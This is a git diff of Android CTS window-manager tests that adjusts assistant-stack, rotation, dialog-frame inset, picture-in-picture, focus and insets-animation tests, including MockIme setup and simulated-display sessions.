index e30e826b..267bec9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AssistantStackTests.java
@@ -25,7 +25,7 @@
 import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
 import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.ComponentNameUtils.getActivityName;
-import static android.server.wm.UiDeviceUtils.pressBackButton;
+import static android.server.wm.UiDeviceUtils.pressHomeButton;
 import static android.server.wm.app.Components.ANIMATION_TEST_ACTIVITY;
 import static android.server.wm.app.Components.ASSISTANT_ACTIVITY;
 import static android.server.wm.app.Components.ASSISTANT_VOICE_INTERACTION_SERVICE;
@@ -172,11 +172,22 @@
                     TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, expectedWindowingMode);
         }
 
-        mWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
-        mWmState.assertFrontStack("Fullscreen stack should be on top.",
-                expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
-        mWmState.assertFocusedStack("Fullscreen stack should be focused.",
-                expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+        if (isAssistantOnTop()) {
+            // If the assistant is configured to be always-on-top, then the new task should have
+            // been started behind it and the assistant stack should still be on top.
+            mWmState.assertFocusedActivity(
+                    "AssistantActivity should be focused", ASSISTANT_ACTIVITY);
+            mWmState.assertFrontStackActivityType(
+                    "Assistant stack should be on top.", ACTIVITY_TYPE_ASSISTANT);
+            mWmState.assertFocusedStack("Assistant stack should be focused.",
+                    WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
+        } else {
+            mWmState.assertFocusedActivity("TestActivity should be resumed", TEST_ACTIVITY);
+            mWmState.assertFrontStack("Fullscreen stack should be on top.",
+                    expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+            mWmState.assertFocusedStack("Fullscreen stack should be focused.",
+                    expectedWindowingMode, ACTIVITY_TYPE_STANDARD);
+        }
 
         // Now, tell it to finish itself and ensure that the assistant stack is brought back forward
         mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
@@ -189,6 +200,13 @@
 
     @Test
     public void testAssistantStackFinishToPreviousApp() throws Exception {
+        // If the Assistant is configured to be always-on-top, then the assistant activity
+        // started in setUp() will not allow any other activities to start. Therefore we should
+        // remove it before launching a fullscreen activity.
+        if (isAssistantOnTop()) {
+            removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
+        }
+
         // Launch an assistant activity on top of an existing fullscreen activity, and ensure that
         // the fullscreen activity is still visible and on top after the assistant activity finishes
         launchActivityOnDisplay(TEST_ACTIVITY, mAssistantDisplayId);
@@ -224,7 +242,6 @@
                 WINDOWING_MODE_PINNED, ACTIVITY_TYPE_STANDARD);
     }
 
-    @FlakyTest(bugId = 69573940)
     @Test
     public void testTranslucentAssistantActivityStackVisibility() throws Exception {
         try (final AssistantSession assistantSession = new AssistantSession()) {
@@ -233,7 +250,8 @@
             // Go home, launch the assistant and check to see that home is visible
             removeStacksInWindowingModes(WINDOWING_MODE_FULLSCREEN,
                     WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
-            launchHomeActivity();
+            pressHomeButton();
+            resumeAppSwitches();
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                     EXTRA_ASSISTANT_IS_TRANSLUCENT, "true");
             waitForValidStateWithActivityType(
@@ -258,14 +276,17 @@
             // Go home, launch assistant, launch app into fullscreen with activity present, and go
             // back.Ensure home is visible.
             removeStacksWithActivityTypes(ACTIVITY_TYPE_ASSISTANT);
-            launchHomeActivity();
+            pressHomeButton();
+            resumeAppSwitches();
             launchActivityNoWait(LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK,
                     EXTRA_ASSISTANT_IS_TRANSLUCENT, "true",
                     EXTRA_ASSISTANT_LAUNCH_NEW_TASK, getActivityName(TEST_ACTIVITY));
             waitForValidStateWithActivityTypeAndWindowingMode(
                     TEST_ACTIVITY, ACTIVITY_TYPE_STANDARD, WINDOWING_MODE_FULLSCREEN);
-            mWmState.assertHomeActivityVisible(false);
-            pressBackButton();
+
+            final ComponentName homeActivity = mWmState.getHomeActivityName();
+            mWmState.waitAndAssertVisibilityGone(homeActivity);
+            mBroadcastActionTrigger.doAction(TEST_ACTIVITY_ACTION_FINISH_SELF);
             mWmState.waitForFocusedStack(WINDOWING_MODE_UNDEFINED, ACTIVITY_TYPE_ASSISTANT);
             assertAssistantStackExists();
             mWmState.waitForHomeActivityVisible();
@@ -318,7 +339,7 @@
             launchActivityOnDisplay(ANIMATION_TEST_ACTIVITY, mAssistantDisplayId);
             // Wait for animation finished.
             mWmState.waitForActivityState(ANIMATION_TEST_ACTIVITY, STATE_RESUMED);
-            mWmState.assertVisibility(ASSISTANT_ACTIVITY, false);
+            mWmState.assertVisibility(ASSISTANT_ACTIVITY, isAssistantOnTop());
 
             // Launch the assistant again and ensure that it goes into the same task
             launchActivityOnDisplayNoWait(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION,
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
index f58152e..850870a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ConfigChangeTests.java
@@ -160,17 +160,13 @@
                 + " in landscape and reverse-landscape", sameSize);
     }
 
-    private ActivityLifecycleCounts getLifecycleCountsForRotation(ComponentName activityName,
-            RotationSession session, int before, int after, boolean canHandleConfigChange)  {
-        final int currentRotation = mWmState.getRotation();
-        // The test verifies the events from "before" rotation to "after" rotation. So when
-        // preparing "before" rotation, the changes should be consumed to avoid being mixed into
-        // the result to verify.
-        final boolean is90DegreeDelta = Math.abs(currentRotation - before) % 2 != 0;
+    private void prepareRotation(ComponentName activityName, RotationSession session,
+            int currentRotation, int initialRotation, boolean canHandleConfigChange) {
+        final boolean is90DegreeDelta = Math.abs(currentRotation - initialRotation) % 2 != 0;
         if (is90DegreeDelta) {
             separateTestJournal();
         }
-        session.set(before);
+        session.set(initialRotation);
         if (is90DegreeDelta) {
             // Consume the changes of "before" rotation to make sure the activity is in a stable
             // state to apply "after" rotation.
@@ -181,6 +177,15 @@
                     .countWithRetry("activity rotated with 90 degree delta",
                             countSpec(expectedCallback, CountSpec.GREATER_THAN, 0)));
         }
+    }
+
+    private ActivityLifecycleCounts getLifecycleCountsForRotation(ComponentName activityName,
+            RotationSession session, int before, int after, boolean canHandleConfigChange)  {
+        final int currentRotation = mWmState.getRotation();
+        // The test verifies the events from "before" rotation to "after" rotation. So when
+        // preparing "before" rotation, the changes should be consumed to avoid being mixed into
+        // the result to verify.
+        prepareRotation(activityName, session, currentRotation, before, canHandleConfigChange);
         separateTestJournal();
         session.set(after);
         mWmState.computeState(activityName);
@@ -202,13 +207,12 @@
     private void testRotation(ComponentName activityName, int rotationStep, int numRelaunch,
             int numConfigChange) {
         launchActivity(activityName);
-
         mWmState.computeState(activityName);
 
         final int initialRotation = 4 - rotationStep;
         final RotationSession rotationSession = createManagedRotationSession();
-        rotationSession.set(initialRotation);
-        mWmState.computeState(activityName);
+        prepareRotation(activityName, rotationSession, mWmState.getRotation(), initialRotation,
+                numConfigChange > 0);
         final int actualStackId =
                 mWmState.getTaskByActivity(activityName).mRootTaskId;
         final int displayId = mWmState.getRootTask(actualStackId).mDisplayId;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 856b4fa..5b3a250 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -36,10 +36,12 @@
 import static org.junit.Assert.assertEquals;
 
 import android.content.ComponentName;
+import android.graphics.Insets;
 import android.graphics.Rect;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
 import android.server.wm.WindowManagerState.WindowState;
+import android.view.WindowInsets;
 
 import androidx.test.rule.ActivityTestRule;
 
@@ -97,9 +99,9 @@
     // the same content frame as the main activity window
     @Test
     public void testMatchParentDialog() throws Exception {
-        doParentChildTest(TEST_MATCH_PARENT, (parent, dialog) ->
-                assertEquals(parent.getContentFrame(), dialog.getFrame())
-        );
+        doParentChildTest(TEST_MATCH_PARENT, (parent, dialog) -> { ;
+            assertEquals(getParentFrameWithInsets(parent), dialog.getFrame());
+        });
     }
 
     private static final int explicitDimension = 200;
@@ -108,12 +110,12 @@
     @Test
     public void testExplicitSizeDefaultGravity() throws Exception {
         doParentChildTest(TEST_EXPLICIT_SIZE, (parent, dialog) -> {
-            Rect contentFrame = parent.getContentFrame();
+            Rect parentFrame = getParentFrameWithInsets(parent);
             Rect expectedFrame = new Rect(
-                    contentFrame.left + (contentFrame.width() - explicitDimension) / 2,
-                    contentFrame.top + (contentFrame.height() - explicitDimension) / 2,
-                    contentFrame.left + (contentFrame.width() + explicitDimension) / 2,
-                    contentFrame.top + (contentFrame.height() + explicitDimension) / 2);
+                    parentFrame.left + (parentFrame.width() - explicitDimension) / 2,
+                    parentFrame.top + (parentFrame.height() - explicitDimension) / 2,
+                    parentFrame.left + (parentFrame.width() + explicitDimension) / 2,
+                    parentFrame.top + (parentFrame.height() + explicitDimension) / 2);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -121,12 +123,12 @@
     @Test
     public void testExplicitSizeTopLeftGravity() throws Exception {
         doParentChildTest(TEST_EXPLICIT_SIZE_TOP_LEFT_GRAVITY, (parent, dialog) -> {
-            Rect contentFrame = parent.getContentFrame();
+            Rect parentFrame = getParentFrameWithInsets(parent);
             Rect expectedFrame = new Rect(
-                    contentFrame.left,
-                    contentFrame.top,
-                    contentFrame.left + explicitDimension,
-                    contentFrame.top + explicitDimension);
+                    parentFrame.left,
+                    parentFrame.top,
+                    parentFrame.left + explicitDimension,
+                    parentFrame.top + explicitDimension);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -134,12 +136,12 @@
     @Test
     public void testExplicitSizeBottomRightGravity() throws Exception {
         doParentChildTest(TEST_EXPLICIT_SIZE_BOTTOM_RIGHT_GRAVITY, (parent, dialog) -> {
-            Rect contentFrame = parent.getContentFrame();
+            Rect parentFrame = getParentFrameWithInsets(parent);
             Rect expectedFrame = new Rect(
-                    contentFrame.left + contentFrame.width() - explicitDimension,
-                    contentFrame.top + contentFrame.height() - explicitDimension,
-                    contentFrame.left + contentFrame.width(),
-                    contentFrame.top + contentFrame.height());
+                    parentFrame.left + parentFrame.width() - explicitDimension,
+                    parentFrame.top + parentFrame.height() - explicitDimension,
+                    parentFrame.left + parentFrame.width(),
+                    parentFrame.top + parentFrame.height());
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -152,7 +154,7 @@
         doParentChildTest(TEST_OVER_SIZED_DIMENSIONS, (parent, dialog) ->
                 // With the default flags oversize should result in clipping to
                 // parent frame.
-                assertEquals(parent.getContentFrame(), dialog.getFrame())
+                assertEquals(getParentFrameWithInsets(parent), dialog.getFrame())
         );
     }
 
@@ -166,10 +168,10 @@
         // TODO(b/36890978): We only run this in fullscreen because of the
         // unclear status of NO_LIMITS for non-child surfaces in MW modes
         doFullscreenTest(TEST_OVER_SIZED_DIMENSIONS_NO_LIMITS, (parent, dialog) -> {
-            Rect contentFrame = parent.getContentFrame();
-            Rect expectedFrame = new Rect(contentFrame.left, contentFrame.top,
-                    contentFrame.left + oversizedDimension,
-                    contentFrame.top + oversizedDimension);
+            Rect parentFrame = getParentFrameWithInsets(parent);
+            Rect expectedFrame = new Rect(parentFrame.left, parentFrame.top,
+                    parentFrame.left + oversizedDimension,
+                    parentFrame.top + oversizedDimension);
             assertEquals(expectedFrame, dialog.getFrame());
         });
     }
@@ -180,7 +182,7 @@
     @Test
     public void testExplicitPositionMatchParent() throws Exception {
         doParentChildTest(TEST_EXPLICIT_POSITION_MATCH_PARENT, (parent, dialog) ->
-                assertEquals(parent.getContentFrame(), dialog.getFrame())
+                assertEquals(getParentFrameWithInsets(parent), dialog.getFrame())
         );
     }
 
@@ -190,8 +192,8 @@
     public void testExplicitPositionMatchParentNoLimits() throws Exception {
         final int explicitPosition = 100;
         doParentChildTest(TEST_EXPLICIT_POSITION_MATCH_PARENT_NO_LIMITS, (parent, dialog) -> {
-            Rect contentFrame = parent.getContentFrame();
-            Rect expectedFrame = new Rect(contentFrame);
+            Rect parentFrame = getParentFrameWithInsets(parent);
+            Rect expectedFrame = new Rect(parentFrame);
             expectedFrame.offset(explicitPosition, explicitPosition);
             assertEquals(expectedFrame, dialog.getFrame());
         });
@@ -218,7 +220,7 @@
         float horizontalMargin = .10f;
         float verticalMargin = .15f;
         doParentChildTest(TEST_WITH_MARGINS, (parent, dialog) -> {
-            Rect frame = parent.getContentFrame();
+            Rect frame = getParentFrameWithInsets(parent);
             Rect expectedFrame = new Rect(
                     (int) (horizontalMargin * frame.width() + frame.left),
                     (int) (verticalMargin * frame.height() + frame.top),
@@ -237,4 +239,26 @@
                 assertThat(wmState.getZOrder(dialog), greaterThan(wmState.getZOrder(parent)))
         );
     }
+
+    private Rect getParentFrameWithInsets(WindowState parent) {
+        Rect parentFrame = parent.getFrame();
+        return inset(parentFrame, getActivitySystemInsets());
+    }
+
+    private Insets getActivitySystemInsets() {
+        return mDialogTestActivity
+                .getActivity()
+                .getWindow()
+                .getDecorView()
+                .getRootWindowInsets()
+                .getInsets(WindowInsets.Type.systemBars());
+    }
+
+    private static Rect inset(Rect original, Insets insets) {
+        final int left = original.left + insets.left;
+        final int top = original.top + insets.top;
+        final int right = original.right - insets.right;
+        final int bottom = original.bottom - insets.bottom;
+        return new Rect(left, top, right, bottom);
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
index a2ff568..3408dc9 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/ForceRelayoutTestBase.java
@@ -16,16 +16,18 @@
 
 package android.server.wm;
 
+import static android.view.WindowInsets.Type.navigationBars;
+import static android.view.WindowInsets.Type.statusBars;
 import static android.view.WindowInsets.Type.systemBars;
 
 import static org.junit.Assert.assertFalse;
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.assertTrue;
+import static org.junit.Assume.assumeFalse;
 
 import android.app.Activity;
 import android.graphics.Insets;
 import android.os.Bundle;
-import android.util.Log;
 import android.view.View;
 import android.view.Window;
 import android.view.WindowInsets;
@@ -49,6 +51,8 @@
             throws Throwable {
         TestActivity activity = mDecorActivity.getActivity();
         assertNotNull("test setup failed", activity.mLastContentInsets);
+        assumeFalse(Insets.NONE.equals(activity.mLastContentInsets.getInsetsIgnoringVisibility(
+                statusBars() | navigationBars())));
 
         InstrumentationRegistry.getInstrumentation().runOnMainSync(() -> {
             activity.mLayoutHappened = false;
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java b/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
index 74b3c7b..2abb9de 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/MinimalPostProcessingTests.java
@@ -17,6 +17,7 @@
 package android.server.wm;
 
 import static android.app.ActivityTaskManager.INVALID_STACK_ID;
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.app.Components.MPP_ACTIVITY;
 import static android.server.wm.app.Components.MPP_ACTIVITY2;
 import static android.server.wm.app.Components.MPP_ACTIVITY3;
@@ -145,7 +146,7 @@
         launchMppActivity(MPP_ACTIVITY, PREFER_MPP);
         launchMppActivity(MPP_ACTIVITY2, NOT_PREFER_MPP);
 
-        mWmState.assertVisibility(MPP_ACTIVITY, false);
+        mWmState.waitAndAssertVisibilityGone(MPP_ACTIVITY);
         mWmState.assertVisibility(MPP_ACTIVITY2, true);
 
         assertDisplayRequestedMinimalPostProcessing(MPP_ACTIVITY, NOT_PREFER_MPP);
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
index 1d6ea9e..3ac15bb 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PinnedStackTests.java
@@ -210,6 +210,8 @@
 
     @Test
     public void testPinnedStackInBoundsAfterRotation() {
+        assumeTrue("Skipping test: no rotation support", supportsRotation());
+
         // Launch an activity that is not fixed-orientation so that the display can rotate
         launchActivity(TEST_ACTIVITY);
         // Launch an activity into the pinned stack
@@ -1001,6 +1003,8 @@
     @Test
     @FlakyTest(bugId=156314330)
     public void testFinishPipActivityWithTaskOverlay() throws Exception {
+        // Trigger PiP menu activity to properly lose focuse when going home
+        launchActivity(TEST_ACTIVITY);
         // Launch PiP activity
         launchActivity(PIP_ACTIVITY, EXTRA_ENTER_PIP, "true");
         waitForEnterPip(PIP_ACTIVITY);
@@ -1043,7 +1047,6 @@
         assertEquals("onPause", 0, lifecycleCounts.getCount(ActivityCallback.ON_PAUSE));
     }
 
-    @FlakyTest(bugId = 156003518)
     @Test
     public void testPinnedStackWithDockedStack() throws Exception {
         assumeTrue(supportsSplitScreenMultiWindow());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java b/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
index 5e813d1..4b34c9b 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/PresentationTest.java
@@ -29,6 +29,10 @@
 
 import java.util.List;
 
+/**
+ * Build/Install/Run:
+ *     atest CtsWindowManagerDeviceTestCases:PresentationTest
+ */
 @Presubmit
 public class PresentationTest extends MultiDisplayTestBase {
 
@@ -68,6 +72,7 @@
         WindowManagerState.DisplayContent display = virtualDisplaySession
                         .setPresentationDisplay(true)
                         .setPublicDisplay(true)
+                        .setResizeDisplay(false) // resize only through resizeDisplay call
                         .createDisplay();
 
         assertThat(display.getFlags() & Display.FLAG_PRESENTATION)
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
index 1863487..0fc4bc8 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplashscreenTests.java
@@ -16,6 +16,7 @@
 
 package android.server.wm;
 
+import static android.server.wm.WindowManagerState.STATE_RESUMED;
 import static android.server.wm.app.Components.SPLASHSCREEN_ACTIVITY;
 import static android.view.Display.DEFAULT_DISPLAY;
 
@@ -53,6 +54,8 @@
     @Test
     public void testSplashscreenContent() {
         launchActivityNoWait(SPLASHSCREEN_ACTIVITY);
+        // Activity may not be launched yet even if app transition is in idle state.
+        mWmState.waitForActivityState(SPLASHSCREEN_ACTIVITY, STATE_RESUMED);
         mWmState.waitForAppTransitionIdleOnDisplay(DEFAULT_DISPLAY);
         mWmState.getStableBounds();
         final Bitmap image = takeScreenshot();
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
index 7075f4c..a876088 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SplitScreenTests.java
@@ -208,6 +208,7 @@
 
         // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
         // will come up.
+        launchActivity(LAUNCHING_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_SECONDARY);
         launchActivity(TEST_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
 
         // Move activity back to fullscreen stack.
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
index 00fc83b..d0aa669 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/SurfaceControlTest.java
@@ -102,7 +102,7 @@
     public void testSameSurface() {
         final SurfaceControl.Builder b = new SurfaceControl.Builder();
         final SurfaceControl sc = b.setName("CTS").build();
-        SurfaceControl copy = new SurfaceControl(sc);
+        SurfaceControl copy = new SurfaceControl(sc, "SurfaceControlTest.testSameSurface");
         assertTrue(copy.isSameSurface(sc));
         sc.release();
         copy.release();
@@ -178,18 +178,23 @@
      */
     @Test
     public void testReparentOff() throws Throwable {
+        final SurfaceControl sc = buildDefaultRedSurface(null);
         verifyTest(
                 new SurfaceControlTestCase.ParentSurfaceConsumer () {
                     @Override
                     public void addChildren(SurfaceControl parent) {
-                        final SurfaceControl sc = buildDefaultRedSurface(parent);
-
+                        new SurfaceControl.Transaction().reparent(sc, parent).apply();
                         new SurfaceControl.Transaction().reparent(sc, null).apply();
-
-                        sc.release();
                     }
                 },
                 new RectChecker(new Rect(0, 0, 100, 100), PixelColor.WHITE));
+      // Since the SurfaceControl is parented off-screen, if we release our reference
+      // it may completely die. If this occurs while the render thread is still rendering
+      // the RED background we could trigger a crash. For this test defer destroying the
+      // Surface until we have collected our test results.
+      if (sc != null) {
+        sc.release();
+      }
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
index ae9a40c..bdb28b2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowFocusTests.java
@@ -135,7 +135,10 @@
         sendAndAssertTargetConsumedKey(primaryActivity, KEYCODE_1, DEFAULT_DISPLAY);
 
         assumeTrue(supportsMultiDisplay());
-        final InvisibleVirtualDisplaySession session = createManagedInvisibleDisplaySession();
+
+        // VirtualDisplay can't maintain perDisplayFocus because it is not trusted,
+        // so uses SimulatedDisplay instead.
+        final SimulatedDisplaySession session = createManagedSimulatedDisplaySession();
         final int secondaryDisplayId = session.getDisplayId();
         final SecondaryActivity secondaryActivity = session.startActivityAndFocus();
         sendAndAssertTargetConsumedKey(secondaryActivity, KEYCODE_2, INVALID_DISPLAY);
@@ -497,13 +500,7 @@
         }
 
         SecondaryActivity startActivityAndFocus() {
-            final int displayId = getDisplayId();
-            // An untrusted virtual display won't have focus until the display is touched.
-            final SecondaryActivity activity = WindowManagerTestBase.startActivity(
-                    SecondaryActivity.class, displayId, false /* hasFocus */);
-            tapOnCenterOfDisplay(displayId);
-            activity.waitAndAssertWindowFocusState(true);
-            return activity;
+            return WindowFocusTests.startActivityAndFocus(getDisplayId(), false /* hasFocus */);
         }
 
         @Override
@@ -516,4 +513,40 @@
             }
         }
     }
+
+    private SimulatedDisplaySession createManagedSimulatedDisplaySession() {
+        return mObjectTracker.manage(new SimulatedDisplaySession());
+    }
+
+    private class SimulatedDisplaySession implements AutoCloseable {
+        private final VirtualDisplaySession mVirtualDisplaySession;
+        private final WindowManagerState.DisplayContent mVirtualDisplay;
+
+        SimulatedDisplaySession() {
+            mVirtualDisplaySession = new VirtualDisplaySession();
+            mVirtualDisplay = mVirtualDisplaySession.setSimulateDisplay(true).createDisplay();
+        }
+
+        int getDisplayId() {
+            return mVirtualDisplay.mId;
+        }
+
+        SecondaryActivity startActivityAndFocus() {
+            return WindowFocusTests.startActivityAndFocus(getDisplayId(), true /* hasFocus */);
+        }
+
+        @Override
+        public void close() {
+            mVirtualDisplaySession.close();
+        }
+    }
+
+    private static SecondaryActivity startActivityAndFocus(int displayId, boolean hasFocus) {
+        // An untrusted virtual display won't have focus until the display is touched.
+        final SecondaryActivity activity = WindowManagerTestBase.startActivity(
+                SecondaryActivity.class, displayId, hasFocus);
+        tapOnCenterOfDisplay(displayId);
+        activity.waitAndAssertWindowFocusState(true);
+        return activity;
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
index 24636e3..c90b859 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationControllerTests.java
@@ -25,23 +25,28 @@
 import static android.view.WindowInsets.Type.statusBars;
 
 import static androidx.test.internal.runner.junit4.statement.UiThreadStatement.runOnUiThread;
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
-import static org.hamcrest.Matchers.contains;
-import static org.hamcrest.Matchers.containsInAnyOrder;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
 import static org.hamcrest.Matchers.equalTo;
 import static org.hamcrest.Matchers.hasItem;
 import static org.hamcrest.Matchers.hasSize;
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.not;
 import static org.hamcrest.Matchers.notNullValue;
+import static org.hamcrest.Matchers.nullValue;
 import static org.hamcrest.Matchers.sameInstance;
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
 import android.animation.Animator;
 import android.animation.AnimatorListenerAdapter;
 import android.animation.ValueAnimator;
+import android.app.Instrumentation;
 import android.graphics.Insets;
 import android.os.CancellationSignal;
 import android.platform.test.annotations.Presubmit;
@@ -61,6 +66,10 @@
 import androidx.annotation.NonNull;
 import androidx.annotation.Nullable;
 
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Rule;
@@ -86,7 +95,7 @@
  * Build/Install/Run:
  *     atest CtsWindowManagerDeviceTestCases:WindowInsetsAnimationControllerTests
  */
-@Presubmit
+//TODO(b/159167851) @Presubmit
 @RunWith(Parameterized.class)
 public class WindowInsetsAnimationControllerTests extends WindowManagerTestBase {
 
@@ -103,6 +112,13 @@
     @Rule
     public LimitedErrorCollector mErrorCollector = new LimitedErrorCollector();
 
+    /**
+     * {@link MockImeSession} used when {@link #mType} is
+     * {@link android.view.WindowInsets.Type#ime()}.
+     */
+    @Nullable
+    private MockImeSession mMockImeSession;
+
     @Parameter(0)
     public int mType;
 
@@ -121,16 +137,52 @@
     @Before
     public void setUp() throws Exception {
         super.setUp();
+        final ImeEventStream mockImeEventStream;
+        if (mType == ime()) {
+            final Instrumentation instrumentation = getInstrumentation();
+            assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+                    nullValue());
+
+            // For the best test stability MockIme should be selected before launching TestActivity.
+            mMockImeSession = MockImeSession.create(
+                    instrumentation.getContext(), instrumentation.getUiAutomation(),
+                    new ImeSettings.Builder());
+            mockImeEventStream = mMockImeSession.openEventStream();
+        } else {
+            mockImeEventStream = null;
+        }
+
         mActivity = startActivity(TestActivity.class);
         mRootView = mActivity.getWindow().getDecorView();
         mListener = new ControlListener(mErrorCollector);
         assumeTestCompatibility();
+
+        if (mockImeEventStream != null) {
+            // TestActivity has a focused EditText. Hence MockIme should receive onStartInput() for
+            // that EditText within a reasonable time.
+            expectEvent(mockImeEventStream,
+                    editorMatcher("onStartInput", mActivity.getEditTextMarker()),
+                    TimeUnit.SECONDS.toMillis(10));
+        }
     }
 
     @After
     public void tearDown() throws Throwable {
         runOnUiThread(() -> {});  // Fence to make sure we dispatched everything.
         mCallbacks.forEach(VerifyingCallback::assertNoRunningAnimations);
+
+        // Unregistering VerifyingCallback as tearing down the MockIme also triggers UI events,
+        // which can trigger assertion failures in VerifyingCallback otherwise.
+        runOnUiThread(() -> {
+            mCallbacks.clear();
+            mRootView.setWindowInsetsAnimationCallback(null);
+        });
+
+        // Now it should be safe to reset the IME to the default one.
+        if (mMockImeSession != null) {
+            mMockImeSession.close();
+            mMockImeSession = null;
+        }
     }
 
     private void assumeTestCompatibility() {
@@ -140,6 +192,7 @@
         }
     }
 
+    @Presubmit
     @Test
     public void testControl_andCancel() throws Throwable {
         runOnUiThread(() -> {
@@ -172,6 +225,7 @@
         mListener.assertWasNotCalled(FINISHED);
     }
 
+    @Presubmit
     @Test
     public void testControl_immediately_show() throws Throwable {
         setVisibilityAndWait(mType, false);
@@ -192,6 +246,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_immediately_hide() throws Throwable {
         setVisibilityAndWait(mType, true);
@@ -212,6 +267,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_show() throws Throwable {
         setVisibilityAndWait(mType, false);
@@ -230,6 +286,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_hide() throws Throwable {
         setVisibilityAndWait(mType, true);
@@ -248,6 +305,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_show_interpolator() throws Throwable {
         mInterpolator = new DecelerateInterpolator();
@@ -267,6 +325,7 @@
         mListener.assertWasNotCalled(CANCELLED);
     }
 
+    @Presubmit
     @Test
     public void testControl_transition_hide_interpolator() throws Throwable {
         mInterpolator = new AccelerateInterpolator();
